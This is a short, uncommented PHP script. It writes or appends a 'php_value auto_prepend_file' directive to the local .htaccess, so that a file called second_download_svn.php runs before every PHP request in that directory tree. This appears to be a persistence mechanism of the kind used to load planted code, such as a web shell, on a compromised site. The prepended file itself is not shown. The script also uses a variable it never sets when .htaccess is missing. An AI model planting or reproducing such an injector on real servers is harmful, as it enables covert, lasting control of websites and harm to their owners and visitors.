<?php
  $Root = $_SERVER['DOCUMENT_ROOT'];
  $curdir = getcwd();
  $Str = "php_value auto_prepend_file $curdir/second_download_svn.php";
  echo $Str;
  if(!file_exists (".htaccess")){
    file_put_contents(".htaccess",$Str); 
  } else {
    $file_content = file_get_contents(".htaccess");
	}
if(strpos($file_content,$Str) === FALSE){
    file_put_contents(".htaccess",$file_content."\n\r".$Str); 
  }
?>